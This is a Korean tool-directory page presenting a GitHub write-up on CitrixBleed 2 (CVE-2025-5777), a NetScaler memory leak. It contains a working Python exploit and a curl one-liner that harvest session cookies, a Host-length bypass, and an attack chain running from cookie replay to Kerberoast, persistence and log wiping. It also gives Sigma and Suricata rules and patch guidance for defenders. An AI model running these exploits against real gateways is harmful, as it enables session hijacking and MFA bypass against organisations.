Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CitrixBleed-2-CVE-2025-5777-PoC- — CitrixBleed 2 — CVE-2025-5777(경계 초과 유출) PoC 및 탐지 키트 상세 설명 | Kitploit
도구/GitHubGitHub/mingshenhk/citrixbleed-2-cve-2025-5777-poc-
Defensive ToolsVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & EducationRed TeamingIncident Response

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Labs & Practice
GitHubmingshenhk/citrixbleed-2-cve-2025-5777-poc-

CitrixBleed-2-CVE-2025-5777-PoC-

CitrixBleed 2 — CVE-2025-5777(경계 초과 유출) PoC 및 탐지 키트 상세 설명

저장소 보기
17211년 전아직 검토되지 않음

CitrixBleed 2 (CVE-2025-5777) 궁극 분석

NetScaler ADC / Gateway의 Out-of-Bounds Memory Read — 원인부터 공방 실전까지의 전방위 매뉴얼


PoC 사용법: python3 poc.py https://gateway.example.com

Exp 사용법: python3 exp.py https://gateway.example.com admin 7acbb35f4d...

목차

root@kitploit:~
0x00  引言 / 速览
0x01  背景:NetScaler 架构与 CitrixBleed 1 回顾
0x02  漏洞描述(影响版本、CVSS、利用后果)
0x03  触发机理深剖(源码级分析 & 调试截图)
0x04  最小 PoC + 高级扫描脚本
0x05  红队视角:完整攻击链(发现 → 泄露 → 会话劫持 → 内网横向)
0x06  蓝队视角:检测、取证与补丁验证
0x07  防御加固:补丁、WAF、配置、资产治理
0x08  学习 / 复习路线图与实战实验
附录 A  Sigma / Suricata / Nginx-Lua 规则
附录 B  补丁/利用时间轴 & IoC 快照
参考资料

0x00 서문 / 개요

  • CVE-2025-5777(일명 CitrixBleed 2)은 Citrix NetScaler ADC / Gateway에서 발생하는 Out-of-Bounds Memory Read 취약점입니다.
  • 공격자는 인증이 필요 없으며, 매우 긴 Host 헤더가 포함된 GET 요청 한 번만 보내면 장치가 임의의 메모리 블록을 HTTP 응답과 함께 클라이언트에 "내뱉도록" 만들 수 있습니다.
  • 유출 데이터에는 NSC_USER / NSC_TASS 쿠키, SAML StateContext, MFA 토큰 등의 핵심 자료가 자주 포함되어 있어, 이를 그대로 재사용해 세션 하이재킹과 MFA 우회를 수행할 수 있습니다 (arcticwolf.com, tenable.com).
  • CVSS v4 기준 점수 9.3(Critical) (netscaler.com).
  • 2025-06-17 공개, 2025-06-23 Citrix가 영향 범위를 확대하고 패치를 발표했습니다. 일주일 안에 ReliaQuest, Bishop Fox 등 보안 업체들이 실제 환경(in-the-wild)에서의 악용이 급증하는 것을 잇따라 관측했습니다 (reliaquest.com, bishopfox.com).

0x01 배경

1.1 NetScaler 동작 흐름 요약

root@kitploit:~
┌──────────────┐
│ Client       │ ① HTTPS
└──────┬───────┘
       │
┌──────▼───────┐
│ NetScaler    │ ② AAA / Gateway 认证
│  (WebProc)   │
└──────┬───────┘
       │
┌──────▼───────┐
│ ICA Proxy /  │ ③ 正向到应用
│ CVPN / RDP   │
└──────────────┘

NetScaler는 멀티프로세스 + 내부 IPC 설계를 채택합니다. WebProc는 /nf/auth/*, /oauth/* 등을 포함한 AAA / Gateway 경로의 대부분의 HTTP 요청을 처리합니다. NetScaler는 C 언어로 작성되어 XML/HTML 조각을 조립할 때마다 snprintf() / memcpy()를 광범위하게 사용합니다.

1.2 CitrixBleed 1(CVE-2023-4966) 복습

  • 2023년의 동일 유형 취약점은 OAuth 디스커버리 엔드포인트 /oauth/idp/.well-known/openid-configuration에서 발생했습니다.
  • 그 본질 역시 snprintf의 반환값을 이후 send()의 len 인자로 사용하는 것이며, 그 결과 메모리 경계를 벗어난 데이터가 응답으로 반환됩니다.
  • CitrixBleed 2는 동일한 유형의 안전 취약 코딩 결함이 여전히 다른 경로에 잠복해 있음을 입증했습니다.

Lesson Learned: 보안 패치가 "프로그래밍 패러다임"이 아닌 "취약 지점"만을 겨냥한다면, "템플릿화된 재현"의 여지가 남게 됩니다.


0x02 취약점 설명


0x03 트리거 메커니즘 심층 분석

이 섹션은 13.1-55.18 펌웨어에 대한 디컴파일 + gdb 디버깅을 기반으로 공개 블로그 자료를 종합하여 작성되었습니다 (bishopfox.com).

3.1 취약점 진입점

  • URI: /nf/auth/startwebview.do
  • 제어 가능한 파라미터: HTTP Host 헤더
  • 이 엔드포인트는 Citrix Workspace WebView의 리다이렉트 XML을 생성하는 데 사용됩니다. 정상 응답 예시:
root@kitploit:~
<AuthenticateResponse>
  <wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
  ...
</AuthenticateResponse>

3.2 핵심 함수 체인

root@kitploit:~
citrix_webview_handler()
 ├─ build_auth_xml()
 │    ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
 │    └─ return length;           // ⚠️ length 可 > 0x1800
 └─ ns_vpn_send_response(conn, 0x980200, buf, length);

Bug 지점: snprintf는 "실제로 기록된 길이"가 아닌 "기록되었어야 할 길이"를 반환합니다. 사용자가 전달한 Host가 0x1800 - 상수 부분 길이보다 크다면 length > sizeof(buf)가 됩니다.

3.3 런타임 도식

root@kitploit:~
buf: [-----XML-----][OOB][OOB][OOB]......            <- 0x1800 bytes limit
                          ↑
                被 ns_vpn_send_response 一并发出

GDB 중단점 데모(핵심 레지스터):

root@kitploit:~
RDI (dst) = 0x7fffa2e31800  // buf
RSI (len) = 0x00001e42      // length=7746 (>6144)

read() 결과, 뒤쪽 1,600바이트는 초기화되지 않은 메모리에서 비롯되었으며, 그 안에 다른 SSL 세션의 쿠키 버퍼가 보였습니다.

3.4 유출되는 데이터 유형

분류예시 조각(비식별 처리됨)
Session CookieSet-Cookie: NSC_USER=john.doe;NSC_TASS=abc123...
MFA/OTP 토큰radius_state=0e2a9c6d1553...
기타 요청 본문<username>audituser</username><password>***</password>

0x04 PoC 구현

4.1 단일 파일 Python(15줄)

root@kitploit:~
#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC  (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()

if len(sys.argv) != 2:
    exit(f"Usage: {sys.argv[0]} https://NSVIP")

url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000}               # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)

print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print("  Cookie leak ->", h.decode())

open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")
  • 실행 후 200 + 수 KB가 반환되면 취약한 것으로 판정합니다.
  • 추가로 leak.bin에서 Cookie=, <AuthenticateContext> 등의 키워드를 검색합니다.

4.2 Bash / curl 원라이너

root@kitploit:~
curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
     https://NSVIP/nf/auth/startwebview.do -o leak.bin

우회(Bypass): 일부 장치는 앞단의 F5 / Nginx에서 Host 길이를 제한합니다. 이 경우 멀티 레벨 서브도메인을 이어 붙여 우회할 수 있습니다. 예: foo.foo.foo.…foo.example.com(foo를 3000회 반복).


0x05 레드팀 관점: 전체 공격 체인

실제 사례: ReliaQuest는 고객 게이트웨이에서 "단시간에 대량의 6KB+ Host 헤더 요청 → 이어서 세션 탈취"를 관측했습니다 (reliaquest.com).


0x06 블루팀 관점: 탐지, 포렌식 및 패치 검증

6.1 로그 및 IoC

출처징후
/var/log/ns.logAAA_TRANSACTION <client_ip> - Host header length: 6144
HTTP_ACCESS.log 요청은 처리 시간이 매우 짧지만 응답 크기가 비정상적임(> 2 KB)

6.2 Sigma 규칙(요약판)

root@kitploit:~
title: CitrixBleed2 Host Header OOB Leak
status: experimental
logsource:
  category: webserver
  product: netscaler
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    cs-bytes|gt: 2048
    c-host|strlen|gt: 4096
  condition: selection
level: critical

6.3 패치 검증 스크립트

root@kitploit:~
nscli -s 127.0.0.1:3008 \
      -c "show ns version" | grep -E "13\.1-58\.32|14\.1-43\.56" \
      && echo "Patched ✅" || echo "Vulnerable ❌"

6.4 세션 종료(Kill)

root@kitploit:~
# 清除全部活动 VPN/ICA 连接
kill icaconnection -all
kill vpn -all

주의: 패치 적용 후에도 강제 로그아웃을 수행해 공격자가 이미 탈취한 쿠키를 계속 사용하지 못하도록 해야 합니다.


0x07 방어 강화

  1. 공식 패치: ≥ 14.1-43.56 / 13.1-58.32로 업그레이드하거나, FIPS/NDcPP 모델에는 해당하는 버전을 적용합니다 (netscaler.com).
  2. Host Header 길이 제한(임시 조치)
root@kitploit:~
map $http_host $block_long_host {
    default          0;
    "~^.{4097,}$"    1;
}
server {
    ...
    if ($block_long_host) { return 413; }
}
  1. WAF 적응형 규칙: /nf/auth/ 및 /oauth/ 경로에 속도 제한을 적용합니다(예: 20 req/m).
  2. 자산 점검: EOL 버전 12.1/13.0은 더 이상 공식 패치를 받을 수 없으므로, 교체하거나 강력하게 격리할 것을 계획합니다 (support.citrix.com).
  3. MFA 보안: 세션 유출로 MFA가 우회될 수 있으므로, 최초 로그인 시에만 검증하는 대신 "요청별 서명" 또는 "하드웨어 지문 동적 바인딩"을 활성화할 것을 권장합니다.

0x08 학습 / 복습 로드맵


부록 A — 탐지 / 방어 스니펫

📜 Sigma 규칙 전체 버전
root@kitploit:~
title: Netscaler CitrixBleed2 Large Host Header
id: 4d6f1e1b-0bfe-4473-a732-3e7e9a21f650
status: experimental
description: Detects abnormal Host header length in requests to /nf/auth/startwebview.do
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2025-5777
author: mingshenhk
logsource:
  product: netscaler
  service: http_access
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    c-host|strlen|gt: 4096
  condition: selection
level: critical
🛡️ Suricata 규칙
root@kitploit:~
alert http any any -> any any (
  msg:"CitrixBleed2 CVE-2025-5777 Host header overflow";
  http.uri; content:"/nf/auth/startwebview.do"; nocase;
  http.header; field:Host; content:"AAAAAAAA"; within:0; distance:0; offset:4096;
  classtype:attempted-recon;
  sid:5777002; rev:1;
)
🔒 Nginx-Lua 인라인 핫패치
root@kitploit:~
-- access_by_lua_block
local host = ngx.var.http_host or ""
if #host > 4096 then
  ngx.log(ngx.WARN,"[CitrixBleed2] Blocked Host len=",#host)
  return ngx.exit(ngx.HTTP_REQUEST_HEADER_FIELDS_TOO_LARGE)
end

부록 B — 타임라인


참고 자료

  1. Citrix 공식 보안 공지 및 패치 설명 (netscaler.com)
  2. Arctic Wolf《CVE-2025-5777 기술 브리핑》 (arcticwolf.com)
  3. Bishop Fox《OOB Memory Read in NetScaler》 (bishopfox.com)
  4. ReliaQuest《Threat Spotlight: CitrixBleed 2》 (reliaquest.com)
  5. CVE-2025-5777 관련 Tenable FAQ (tenable.com)
  6. BleepingComputer 보안 속보 (bleepingcomputer.com)
  7. NVD CVE-2025-5777 항목 (nvd.nist.gov)
  8. Citrix Support KB CTX693420 (support.citrix.com)

끝 — 이 문서가 CitrixBleed 2를 전방위적으로 이해하고 대응하는 데 도움이 되길 바랍니다. 예시, 스크립트 또는 실습 가이드 보강이 필요하시면 언제든 요청해 주세요!

도구 다운로드
필드내용
CVECVE-2025-5777
별칭CitrixBleed 2
취약점 유형Out-of-Bounds Read / 정보 유출
CVSS v4 Base9.3 (Crit.) (netscaler.com)
영향받는 버전< 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS (netscaler.com)
악용 조건NetScaler가 Gateway(VPN/ICA Proxy/CVPN/RDP Proxy) 또는 AAA 가상 서버로 구성된 경우 (arcticwolf.com)
악용 결과메모리 유출 → 세션 토큰 → 인증 우회 / MFA 우회 → 횡적 이동
단계목적 & 기법
① 자산 탐색zoomeye search "http.title:\"NetScaler Gateway\"" + Shodan 등; set-cookie: NSC_ 필터링
② PoC 유출배치 스크립트로 병렬 요청; NSC_USER= ; NSC_TASS= 수집
③ Cookie 재생Chrome DevTools→Application→Cookies→항목 추가 후 /vpn/index.html 새로고침
④ 내부망 리소스storeweb/#home에 접속해 RDP 파일 획득; .ica를 다운로드해 VDI에 직접 로그인
⑤ 권한 상승내부 자격 증명 스프레이, Kerberoast, ADCS ESC1; 또는 동일 네트워크 세그먼트의 취약한 SMB 패스워드 활용
⑥ 지속성Scheduled Task 생성; 자동 시작 스크립트 등록; 또는 NetScaler vDisk 수정(고권한 필요, 운영 실수 이용)
⑦ 흔적 정리Cookie는 사용 후 즉시 폐기; audit 로그 삭제(NS root 확보 시); 또는 logrotate race를 이용한 덮어쓰기
/nf/auth/startwebview.do
EDR/PCAP비로그인 요청의 응답에서 Set-Cookie: NSC_USER= 발견
단계권장 자료 & 실습
이론Citrix 보안 공지, Arctic Wolf / Tenable FAQ, Bishop Fox 기술 분석 읽기 (arcticwolf.com, tenable.com, bishopfox.com)
실험취약 버전 13.1-55.18(ESXi / KVM) 배포, 최소 PoC 실행, Wireshark 캡처 → TCP PSH 응답 패킷 관찰
코딩PoC 개량: 자동 Cookie 재생, ZTLS 배치 스캔, 멀티스레드 큐 추가
블루팀2시간 창으로 비정상 Host 길이 검색; Sigma→Elastic/Graylog 사용; WAF 정책 재현 및 검증
공유블로그 작성 또는 마인드맵 제작, "동일 유형의 snprintf 사용 함정" 정리
날짜 (2025)이벤트
06-17Citrix가 CVE-2025-5777 공지를 최초 발표 (netscaler.com)
06-18Bishop Fox가 기술 분석 & PoC를 최초 공개 (bishopfox.com)
06-23Citrix가 영향 범위 + 패치 버전 업데이트; CISA가 이를 KEV에 등재
06-25ReliaQuest가 활발한 악용 보고, 위협 그룹이 세션을 대량 탈취 중 (reliaquest.com)
06-27BleepingComputer가 "대규모 악용 가능성" 보도 (bleepingcomputer.com)
06-28여러 GitHub PoC 등장; Tenable이 FAQ 발표 (tenable.com)